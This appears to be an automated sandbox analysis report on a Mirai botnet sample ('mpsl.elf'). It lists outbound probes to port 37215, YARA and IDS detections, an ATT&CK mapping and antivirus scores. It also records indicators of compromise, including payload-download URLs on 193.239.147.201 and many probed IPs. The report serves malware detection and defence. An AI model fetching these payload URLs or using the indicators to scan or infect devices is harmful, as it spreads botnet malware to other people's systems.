Source: unknown	Network traffic detected: HTTP traffic on port 45954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48682 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53342 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32778 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46216 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50788 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56810 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38830 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37400 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39318 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53420 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38552 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42424 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37864 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44994 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46022 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55672 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45232 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35144 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36696 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54924 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49076 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40932 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55638 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46476 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60920 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44126 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49194 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46008 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52484 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53812 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51210 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44582 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49308 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50960 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39810 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55966 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54912 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44128 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43464 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53860 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46156 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49208 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58490 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48158 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52394 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45838 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55934 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33478 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56698 -> 37215

Source: /tmp/mpsl.elf (PID: 5449)

Queries kernel information via 'uname':

Jump to behavior

Source: mpsl.elf, 5449.1.000055c7f920e000.000055c7f9295000.rw-.sdmp, mpsl.elf, 5451.1.000055c7f920e000.000055c7f9295000.rw-.sdmp, mpsl.elf, 5452.1.000055c7f920e000.000055c7f9295000.rw-.sdmp, mpsl.elf, 5455.1.000055c7f920e000.000055c7f9295000.rw-.sdmp, mpsl.elf, 5457.1.000055c7f920e000.000055c7f9295000.rw-.sdmp, mpsl.elf, 5458.1.000055c7f920e000.000055c7f9295000.rw-.sdmp, mpsl.elf, 5459.1.000055c7f920e000.000055c7f9295000.rw-.sdmp, mpsl.elf, 5465.1.000055c7f920e000.000055c7f9295000.rw-.sdmp, mpsl.elf, 5467.1.000055c7f920e000.000055c7f9295000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mipsel
Source: mpsl.elf, 5451.1.000055c7f9295000.000055c7f92da000.rw-.sdmp	Binary or memory string: U!/proc/3185/fd/2/mipsel/1/usr/bin/vmtoolsdipsel/k
Source: mpsl.elf, 5451.1.000055c7f9295000.000055c7f92da000.rw-.sdmp	Binary or memory string: /usr/bin/vmtoolsd
Source: mpsl.elf, 5449.1.000055c7f920e000.000055c7f9295000.rw-.sdmp, mpsl.elf, 5451.1.000055c7f920e000.000055c7f9295000.rw-.sdmp, mpsl.elf, 5452.1.000055c7f920e000.000055c7f9295000.rw-.sdmp, mpsl.elf, 5455.1.000055c7f920e000.000055c7f9295000.rw-.sdmp, mpsl.elf, 5457.1.000055c7f920e000.000055c7f9295000.rw-.sdmp, mpsl.elf, 5458.1.000055c7f920e000.000055c7f9295000.rw-.sdmp, mpsl.elf, 5459.1.000055c7f920e000.000055c7f9295000.rw-.sdmp, mpsl.elf, 5465.1.000055c7f920e000.000055c7f9295000.rw-.sdmp, mpsl.elf, 5467.1.000055c7f920e000.000055c7f9295000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/mipsel
Source: mpsl.elf, 5451.1.000055c7f9295000.000055c7f92da000.rw-.sdmp	Binary or memory string: Uu-binfmt/mipsel/0!/proc/1944/fd/2!/proc/2972/fd/..mipsel/1/proc/3162/fd/./mipsel/0!/proc/1944/fd/3!/proc/2972/fd/./mipsel/1/usr/bin/qemu-mipselel/0!/proc/1944/fd/4!/proc/2972/fd/mipsel/1/proc/3162/fd/..mipsel/0!/proc/1944/fd/5!/proc/2972/exe/mipsel/1PJ+
Source: mpsl.elf, 5451.1.000055c7f9295000.000055c7f92da000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mipsel/usr/libexec/evolution-addressbook-factoryhentication-agent-1
Source: mpsl.elf, 5449.1.00007ffe3c86a000.00007ffe3c88b000.rw-.sdmp, mpsl.elf, 5451.1.00007ffe3c86a000.00007ffe3c88b000.rw-.sdmp, mpsl.elf, 5452.1.00007ffe3c86a000.00007ffe3c88b000.rw-.sdmp, mpsl.elf, 5455.1.00007ffe3c86a000.00007ffe3c88b000.rw-.sdmp, mpsl.elf, 5457.1.00007ffe3c86a000.00007ffe3c88b000.rw-.sdmp, mpsl.elf, 5458.1.00007ffe3c86a000.00007ffe3c88b000.rw-.sdmp, mpsl.elf, 5459.1.00007ffe3c86a000.00007ffe3c88b000.rw-.sdmp, mpsl.elf, 5465.1.00007ffe3c86a000.00007ffe3c88b000.rw-.sdmp, mpsl.elf, 5467.1.00007ffe3c86a000.00007ffe3c88b000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-mipsel/tmp/mpsl.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/mpsl.elf
Source: mpsl.elf, 5451.1.000055c7f9295000.000055c7f92da000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mipsel/usr/libexec/evolution-addressbook-factory
Source: mpsl.elf, 5449.1.00007ffe3c86a000.00007ffe3c88b000.rw-.sdmp, mpsl.elf, 5451.1.000055c7f9295000.000055c7f92da000.rw-.sdmp, mpsl.elf, 5451.1.00007ffe3c86a000.00007ffe3c88b000.rw-.sdmp, mpsl.elf, 5452.1.00007ffe3c86a000.00007ffe3c88b000.rw-.sdmp, mpsl.elf, 5455.1.00007ffe3c86a000.00007ffe3c88b000.rw-.sdmp, mpsl.elf, 5457.1.00007ffe3c86a000.00007ffe3c88b000.rw-.sdmp, mpsl.elf, 5458.1.00007ffe3c86a000.00007ffe3c88b000.rw-.sdmp, mpsl.elf, 5459.1.00007ffe3c86a000.00007ffe3c88b000.rw-.sdmp, mpsl.elf, 5465.1.00007ffe3c86a000.00007ffe3c88b000.rw-.sdmp, mpsl.elf, 5467.1.00007ffe3c86a000.00007ffe3c88b000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mipsel

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: mpsl.elf, type: SAMPLE
Source: Yara match	File source: 5458.1.00007f6828400000.00007f6828418000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5457.1.00007f6828400000.00007f6828418000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5452.1.00007f6828400000.00007f6828418000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5451.1.00007f6828400000.00007f6828418000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5465.1.00007f6828400000.00007f6828418000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5449.1.00007f6828400000.00007f6828418000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5467.1.00007f6828400000.00007f6828418000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5459.1.00007f6828400000.00007f6828418000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5455.1.00007f6828400000.00007f6828418000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: mpsl.elf PID: 5449, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: mpsl.elf PID: 5451, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: mpsl.elf PID: 5452, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: mpsl.elf PID: 5457, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: mpsl.elf PID: 5458, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: mpsl.elf PID: 5465, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: mpsl.elf PID: 5467, type: MEMORYSTR

Remote Access Functionality

Detected Mirai

Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)

Yara detected Mirai

Source: Yara match	File source: mpsl.elf, type: SAMPLE
Source: Yara match	File source: 5458.1.00007f6828400000.00007f6828418000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5457.1.00007f6828400000.00007f6828418000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5452.1.00007f6828400000.00007f6828418000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5451.1.00007f6828400000.00007f6828418000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5465.1.00007f6828400000.00007f6828418000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5449.1.00007f6828400000.00007f6828418000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5467.1.00007f6828400000.00007f6828418000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5459.1.00007f6828400000.00007f6828418000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5455.1.00007f6828400000.00007f6828418000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: mpsl.elf PID: 5449, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: mpsl.elf PID: 5451, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: mpsl.elf PID: 5452, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: mpsl.elf PID: 5457, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: mpsl.elf PID: 5458, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: mpsl.elf PID: 5465, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: mpsl.elf PID: 5467, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	11 Non-Standard Port	Exfiltration Over Other Network Medium	1 Service Stop
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
mpsl.elf	66%	ReversingLabs	Linux.Trojan.Mirai
mpsl.elf	62%	Virustotal		Browse
mpsl.elf	100%	Avira	EXP/ELF.Mirai.Hua.a

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.25	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://192.168.0.14:80/cgi-bin/ViewLog.asp	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://193.239.147.201/zyxel.sh;	mpsl.elf	false	high
http://193.239.147.201/bins/x86	mpsl.elf	false	high
http://schemas.xmlsoap.org/soap/encoding/	mpsl.elf	false	high
http://schemas.xmlsoap.org/soap/envelope/	mpsl.elf	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
95.231.17.254	unknown	Italy	3269	ASN-IBSNAZIT	false
112.8.57.113	unknown	China	24444	CMNET-V4SHANDONG-AS-APShandongMobileCommunicationCompany	false
95.126.182.189	unknown	Spain	3352	TELEFONICA_DE_ESPANAES	false
62.58.31.159	unknown	Belgium	13127	VERSATELASfortheTrans-EuropeanTele2IPTransportbackbo	false
110.197.202.104	unknown	China	63711	CTTNETChinaTieTongTelecommunicationsCorporationCN	false
171.26.175.93	unknown	Belgium	34457	AMB-GENERALIDE	false
95.106.122.231	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
31.57.157.48	unknown	Iran (ISLAMIC Republic Of)	31549	RASANAIR	false
62.32.94.243	unknown	Russian Federation	8492	OBIT-ASOBITLtdRU	false
94.226.96.229	unknown	Belgium	6848	TELENET-ASBE	false
197.163.1.19	unknown	Egypt	24863	LINKdotNET-ASEG	false
88.159.204.97	unknown	Netherlands	1136	KPNKPNNationalEU	false
94.194.198.198	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
95.55.190.190	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
94.65.191.33	unknown	Greece	6799	OTENET-GRAthens-GreeceGR	false
108.58.47.254	unknown	United States	6128	CABLE-NET-1US	false
88.153.178.26	unknown	Germany	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
46.215.142.2	unknown	Poland	8374	PLUSNETPlusnetworkoperatorinPolandPL	false
192.105.169.205	unknown	United States	29765	DATACHAMBERSUS	false
88.103.160.22	unknown	Czech Republic	5610	O2-CZECH-REPUBLICCZ	false
95.255.148.63	unknown	Italy	3269	ASN-IBSNAZIT	false
95.229.249.245	unknown	Italy	3269	ASN-IBSNAZIT	false
62.10.221.83	unknown	Italy	8612	TISCALI-IT	false
62.198.53.90	unknown	Denmark	3308	TELIANET-DENMARKDK	false
85.179.29.150	unknown	Germany	6805	TDDE-ASN1DE	false
94.181.6.26	unknown	Russian Federation	52207	TULA-ASRU	false
31.179.180.20	unknown	Poland	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
94.11.230.119	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
72.168.115.25	unknown	United States	6621	HNS-DIRECPCUS	false
85.134.9.141	unknown	Finland	24751	MULTIFI-ASFI	false
41.188.184.68	unknown	Tanzania United Republic of	37084	simbanet-tzTZ	false
94.94.36.87	unknown	Italy	3269	ASN-IBSNAZIT	false
94.225.132.48	unknown	Belgium	6848	TELENET-ASBE	false
122.164.125.175	unknown	India	24560	AIRTELBROADBAND-AS-APBhartiAirtelLtdTelemediaServices	false
85.71.136.53	unknown	Czech Republic	5610	O2-CZECH-REPUBLICCZ	false
94.22.136.88	unknown	Finland	15527	ANVIASilmukkatie6VaasaFinlandFI	false
94.85.218.73	unknown	Italy	3269	ASN-IBSNAZIT	false
94.84.106.251	unknown	Italy	3269	ASN-IBSNAZIT	false
62.225.64.117	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
191.113.160.98	unknown	Chile	7418	TELEFONICACHILESACL	false
94.87.6.237	unknown	Italy	3269	ASN-IBSNAZIT	false
95.87.151.64	unknown	Slovenia	2107	ARNES-NETAcademicandResearchNetworkofSloveniaSI	false
95.125.208.125	unknown	Spain	3352	TELEFONICA_DE_ESPANAES	false
31.16.255.168	unknown	Germany	31334	KABELDEUTSCHLAND-ASDE	false
157.186.91.138	unknown	Russian Federation	22192	SSHENETUS	false
62.215.172.78	unknown	Kuwait	21050	FAST-TELCOKW	false
8.195.25.83	unknown	United States	3356	LEVEL3US	false
94.76.139.146	unknown	Spain	29119	SERVIHOSTING-ASAireNetworksES	false
62.222.185.17	unknown	Ireland	8918	CARRIER1-ASIE	false
31.210.213.31	unknown	Russian Federation	43727	KVANT-TELECOMRU	false
112.70.224.13	unknown	Japan	17511	OPTAGEOPTAGEIncJP	false
94.193.8.113	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
157.252.45.38	unknown	United States	3592	TRINCOLL-ASUS	false
85.83.182.121	unknown	Denmark	9158	TELENOR_DANMARK_ASDK	false
95.82.243.193	unknown	Russian Federation	12668	MIRALOGIC-ASRU	false
62.7.14.118	unknown	United Kingdom	2856	BT-UK-ASBTnetUKRegionalnetworkGB	false
211.53.71.176	unknown	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	false
112.202.153.42	unknown	Philippines	9299	IPG-AS-APPhilippineLongDistanceTelephoneCompanyPH	false
112.160.188.217	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
94.20.111.36	unknown	Azerbaijan	201167	CASTEL-ASAZ	false
194.9.37.129	unknown	Ukraine	41435	UNDERNET-AS1UA	false
93.75.97.62	unknown	Ukraine	25229	VOLIA-ASUA	false
51.169.199.181	unknown	United States	2686	ATGS-MMD-ASUS	false
31.167.93.147	unknown	Saudi Arabia	35819	MOBILY-ASEtihadEtisalatCompanyMobilySA	false
88.9.29.162	unknown	Spain	3352	TELEFONICA_DE_ESPANAES	false
94.174.22.209	unknown	United Kingdom	5089	NTLGB	false
197.104.185.3	unknown	South Africa	37168	CELL-CZA	false
41.91.11.114	unknown	Egypt	33771	SAFARICOM-LIMITEDKE	false
85.210.127.49	unknown	United Kingdom	9105	TISCALI-UKTalkTalkCommunicationsLimitedGB	false
85.246.119.90	unknown	Portugal	3243	MEO-RESIDENCIALPT	false
31.162.185.125	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
65.221.168.163	unknown	United States	11486	COLO-PREM-VZBUS	false
62.164.26.239	unknown	European Union	3215	FranceTelecom-OrangeFR	false
197.12.31.221	unknown	Tunisia	37703	ATLAXTN	false
95.20.238.248	unknown	Spain	12479	UNI2-ASES	false
85.169.238.243	unknown	France	21502	ASN-NUMERICABLEFR	false
62.33.162.69	unknown	Russian Federation	20485	TRANSTELECOMMoscowRussiaRU	false
82.141.139.74	unknown	Hungary	12301	INVITECHHU	false
62.222.185.85	unknown	Ireland	8918	CARRIER1-ASIE	false
62.154.36.67	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
85.4.129.186	unknown	Switzerland	3303	SWISSCOMSwisscomSwitzerlandLtdCH	false
62.153.147.189	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
112.181.23.103	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
108.40.8.168	unknown	United States	701	UUNETUS	false
31.245.105.234	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
95.236.91.117	unknown	Italy	3269	ASN-IBSNAZIT	false
85.154.160.227	unknown	Oman	28885	OMANTEL-NAP-ASOmanTelNAPOM	false
62.178.156.197	unknown	Austria	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
94.94.136.201	unknown	Italy	3269	ASN-IBSNAZIT	false
112.50.147.84	unknown	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
197.165.92.214	unknown	Egypt	24863	LINKdotNET-ASEG	false
31.73.32.245	unknown	United Kingdom	12576	EELtdGB	false
94.15.123.73	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
41.96.73.33	unknown	Algeria	36947	ALGTEL-ASDZ	false
85.4.129.179	unknown	Switzerland	3303	SWISSCOMSwisscomSwitzerlandLtdCH	false
95.170.75.183	unknown	Netherlands	20857	TRANSIP-ASAmsterdamtheNetherlandsNL	false
62.91.151.8	unknown	Germany	20686	BISPINGISPCitycarrierGermanyDE	false
31.177.164.241	unknown	Turkey	8386	KOCNETTR	false
31.61.47.20	unknown	Poland	5617	TPNETPL	false
31.51.147.146	unknown	United Kingdom	2856	BT-UK-ASBTnetUKRegionalnetworkGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
171.26.175.93	N7K0W7hhdG.elf	Get hash	malicious	Gafgyt, Mirai	Browse
95.231.17.254	wjdntZ2nr8.elf	Get hash	malicious	Mirai	Browse
95.231.17.254	5tuUOk0hKz.elf	Get hash	malicious	Mirai	Browse
31.57.157.48	A07glf5eHQ.elf	Get hash	malicious	Mirai, Moobot	Browse
31.57.157.48	Rubify.mpsl	Get hash	malicious	Mirai	Browse
94.226.96.229	2CfIHoE1ZQ	Get hash	malicious	Mirai	Browse
94.226.96.229	AgBfNzg60l	Get hash	malicious	Mirai	Browse
197.163.1.19	ppc.elf	Get hash	malicious	Mirai, Moobot	Browse
	tppc.elf	Get hash	malicious	Mirai	Browse
	bot.arm7.elf	Get hash	malicious	Mirai, Moobot	Browse
	Mt5VyD087r.elf	Get hash	malicious	Mirai	Browse
	63wE9zWXAf.elf	Get hash	malicious	Mirai, Gafgyt	Browse
	wNCWSwl1Lv.elf	Get hash	malicious	Mirai	Browse
	skyljne.arm7-20240113-1800.elf	Get hash	malicious	Mirai	Browse
	x86.elf	Get hash	malicious	Mirai	Browse
	mips.elf	Get hash	malicious	Mirai, Moobot	Browse
	91lC01xoJL.elf	Get hash	malicious	Mirai, Moobot	Browse
62.58.31.159	kbo5fVgZ7T	Get hash	malicious	Mirai	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	.i.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	sh4.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	spc.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	na.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	m68k.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	na.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	na.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	aarch64.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	.i.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	arm5.elf	Get hash	malicious	Unknown	Browse	162.213.35.24

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CMNET-V4SHANDONG-AS-APShandongMobileCommunicationCompany	zte	Get hash	malicious	Unknown	Browse	112.9.127.36
	res.sh4.elf	Get hash	malicious	Unknown	Browse	112.38.33.217
	Owari.spc.elf	Get hash	malicious	Unknown	Browse	223.79.103.205
	res.spc.elf	Get hash	malicious	Unknown	Browse	120.192.25.17
	spc.elf	Get hash	malicious	Mirai	Browse	112.37.30.55
	arm4.elf	Get hash	malicious	Mirai	Browse	112.37.188.82
	sh4.elf	Get hash	malicious	Mirai	Browse	112.7.78.134
	arm5.elf	Get hash	malicious	Mirai	Browse	112.6.69.209
	x86.elf	Get hash	malicious	Mirai	Browse	112.53.88.126
	m68k.elf	Get hash	malicious	Mirai	Browse	112.9.90.23
ASN-IBSNAZIT	arm.elf	Get hash	malicious	Mirai	Browse	95.241.7.253
	zte	Get hash	malicious	Unknown	Browse	79.47.158.67
	Hilix.mips.elf	Get hash	malicious	Unknown	Browse	80.182.13.151
	Hilix.x86.elf	Get hash	malicious	Unknown	Browse	95.227.158.128
	Hilix.arm7.elf	Get hash	malicious	Mirai	Browse	79.48.47.20
	Hilix.spc.elf	Get hash	malicious	Unknown	Browse	5.99.75.132
	res.mpsl.elf	Get hash	malicious	Unknown	Browse	88.32.83.250
	res.x86.elf	Get hash	malicious	Unknown	Browse	79.17.204.94
	armv5l.elf	Get hash	malicious	Unknown	Browse	79.24.205.73
	armv6l.elf	Get hash	malicious	Unknown	Browse	79.14.109.214
TELEFONICA_DE_ESPANAES	arm.elf	Get hash	malicious	Mirai	Browse	95.121.68.32
	Yboats.x86.elf	Get hash	malicious	Mirai, Okiru	Browse	80.36.110.230
